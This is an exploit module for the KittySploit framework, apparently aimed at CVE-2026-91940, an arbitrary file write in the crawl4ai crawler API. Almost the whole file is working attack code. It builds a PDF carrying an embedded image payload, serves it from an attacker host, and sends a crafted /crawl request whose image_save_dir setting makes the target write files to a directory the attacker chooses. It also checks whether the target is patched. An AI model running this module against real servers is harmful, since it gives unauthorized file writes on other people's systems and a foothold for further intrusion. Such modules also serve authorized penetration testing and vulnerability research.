crawl4ai CVE-2026-91940 arbitrary file write

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CVE-2026-91940 — crawl4ai arbitrary file write via PDF image_save_dir."""

from __future__ import annotations

import http.server
import json
import threading
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "crawl4ai CVE-2026-91940 arbitrary file write",
        "description": (
            "CVE-2026-91940 (crawl4ai < 0.9.3): POST /crawl with PDFContentScrapingStrategy "
            "and attacker-controlled image_save_dir writes extracted image streams to disk. "
            "Hosts a minimal PDF on lhost:lport and triggers /crawl. Patched versions return "
            "HTTP 400 (not permitted). Requires API token on 0.9.2."
        ),
        "author": ["BiiTts", "KittySploit Team"],
        "cve": ["CVE-2026-91940"],
        "platform": Platform.LINUX,
        "references": [
            "https://github.com/BiiTts/CVE-2026-91940-crawl4ai-Arbitrary-File-Write",
        ],
        "tags": ["crawl4ai", "file-write", "cve-2026-91940"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "requires": {"endpoint_pattern_any": ["/crawl"]},
            "chain": {
                "suggested_followups": ["scanner/http/crawl4ai_cve_2026_91940_detect"],
            },
        },
    }

    _MARKER = b"KittySploit-CVE-2026-91940-WRITE-PROOF"

    port = OptPort(11235, "crawl4ai API port", required=False)
    ssl = OptBool(False, "Use HTTPS", required=False, advanced=True)
    lhost = OptString("", "Host serving malicious PDF (reachable by API)", required=True)
    lport = OptPort(8099, "PDF HTTP port", required=False)
    write_dir = OptString("/tmp", "image_save_dir passed in crawler config", required=True)
    api_token = OptString("", "Bearer token for /crawl (required on 0.9.2)", required=False)
    pdf_url = OptString(
        "",
        "Override PDF URL (default http://lhost:lport/probe.pdf)",
        required=False,
        advanced=True,
    )

    @staticmethod
    def _build_pdf(payload: bytes, pdf_filter: bytes = b"/DCTDecode") -> bytes:
        objects = [
            b"<< /Type /Catalog /Pages 2 0 R >>",
            b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
            (
                b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 64 64] "
                b"/Resources << /XObject << /Im0 4 0 R >> >> /Contents 5 0 R >>"
            ),
            (
                b"<< /Type /XObject /Subtype /Image /Width 8 /Height 8 /ColorSpace /DeviceRGB "
                b"/BitsPerComponent 8 /Filter "
                + pdf_filter
                + b" /Length "
                + str(len(payload)).encode()
                + b" >>\nstream\n"
                + payload
                + b"\nendstream"
            ),
            b"<< /Length 0 >>\nstream\n\nendstream",
        ]
        out = bytearray(b"%PDF-1.4\n")
        offsets = []
        for number, body in enumerate(objects, start=1):
            offsets.append(len(out))
            out += str(number).encode() + b" 0 obj\n" + body + b"\nendobj\n"
        xref_offset = len(out)
        out += b"xref\n0 " + str(len(objects) + 1).encode() + b"\n0000000000 65535 f \n"
        for offset in offsets:
            out += (f"{offset:010d} 00000 n \n").encode()
        out += (
            b"trailer\n<< /Size "
            + str(len(objects) + 1).encode()
            + b" /Root 1 0 R >>\nstartxref\n"
            + str(xref_offset).encode()
            + b"\n%%EOF\n"
        )
        return bytes(out)

    class _PdfHandler(http.server.BaseHTTPRequestHandler):
        pdf_bytes = b""

        def do_GET(self):
            data = Module._PdfHandler.pdf_bytes
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.send_header("Content-Length", str(len(data)))
            self.end_headers()
            self.wfile.write(data)

        def log_message(self, format, *args):
            return

    def run(self):
        lhost = str(self.lhost or "").strip()
        if not lhost:
            print_error("lhost is required")
            return False
        lport = int(self.lport or 8099)
        pdf_url = str(self.pdf_url or "").strip() or f"http://{lhost}:{lport}/probe.pdf"
        write_dir = str(self.write_dir or "/tmp").strip() or "/tmp"

        pdf = self._build_pdf(self._MARKER)
        self._PdfHandler.pdf_bytes = pdf
        server = http.server.HTTPServer((lhost, lport), self._PdfHandler)
        thread = threading.Thread(target=server.serve_forever, daemon=True)
        thread.start()
        time.sleep(0.3)

        body = {
            "urls": [pdf_url],
            "crawler_config": {
                "type": "CrawlerRunConfig",
                "params": {
                    "scraping_strategy": {
                        "type": "PDFContentScrapingStrategy",
                        "params": {
                            "extract_images": True,
                            "save_images_locally": True,
                            "image_save_dir": write_dir,
                        },
                    },
                },
            },
        }
        headers = {"Content-Type": "application/json"}
        token = str(self.api_token or "").strip()
        if token:
            headers["Authorization"] = f"Bearer {token}"

        response = self.http_request(
            method="POST",
            path="/crawl",
            headers=headers,
            data=json.dumps(body),
            allow_redirects=False,
            timeout=max(int(self.timeout or 15), 180),
        )
        server.shutdown()

        if not response:
            print_error("No /crawl response")
            return False

        text = response.text or ""
        print_info(f"HTTP {response.status_code}: {text[:280]}")
        if int(response.status_code or 0) == 400 and "not permitted" in text.lower():
            print_error("Patched gate rejected image_save_dir")
            return False

        expected = f"{write_dir.rstrip('/')}/page_1_img_1.jpg"
        print_success(
            f"Vulnerable config accepted — verify on server filesystem: {expected}"
        )
        return int(response.status_code or 0) in (200, 500)